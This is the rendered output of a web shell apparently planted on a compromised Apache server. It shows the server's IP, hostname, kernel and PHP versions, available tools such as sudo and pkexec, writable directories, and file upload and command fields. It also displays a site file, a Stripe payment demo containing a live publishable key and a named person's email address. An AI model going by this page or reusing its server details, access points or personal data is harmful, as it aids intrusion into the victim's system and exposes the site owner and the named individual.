403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/stripe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/stripe/check_new.php
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>PHP Stripe Payment Gateway Integration - Tutsmake.com</title>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css" />
        <script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
        <style>
            .container{
                padding: 0.5%;
            } 
        </style>
    </head>
    <body>
        <div class="container">
            <div class="row">
                <div class="col-md-12"><pre id="token_response"></pre></div>
            </div>
            <div class="row">
                <div class="col-md-4">
                    <button class="btn btn-primary btn-block" onclick="pay(1)">Pay INR 1</button>
                </div>
                <div class="col-md-4">
                    <button class="btn btn-success btn-block" onclick="pay(50)">Pay INR 50</button>
                </div>
                <div class="col-md-4">
                    <button class="btn btn-info btn-block" onclick="pay(100000)">Pay INR 10000</button>
                </div>
            </div>
        </div>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js"></script>
        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
        <script src="https://js.stripe.com/v3/"></script>
        <script>
             function pay(amount) {
                        var stripe = Stripe('pk_live_51K1ZWrSDc7w4P8VLs7uSZuJjtKKMYwYcUHsEDZWVfEjG2yDqbQq7hK6yVTSF7LFKie6rY6NGmQ0h3qRznPBwLfBb00V9532PrA');
                        var paymentRequest = stripe.paymentRequest({
                            country: 'US',
                            currency: 'usd',
                            total: {
                                label: 'Demo total',
                                amount: 1000,
                            },
                            requestPayerName: 'Prashant',
                            requestPayerEmail: 'prashant@catpl.co.in',
                        });
                        paymentRequest.on('token', function (event) {
                          alert(event.token)
                        });
                    }
        </script>
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit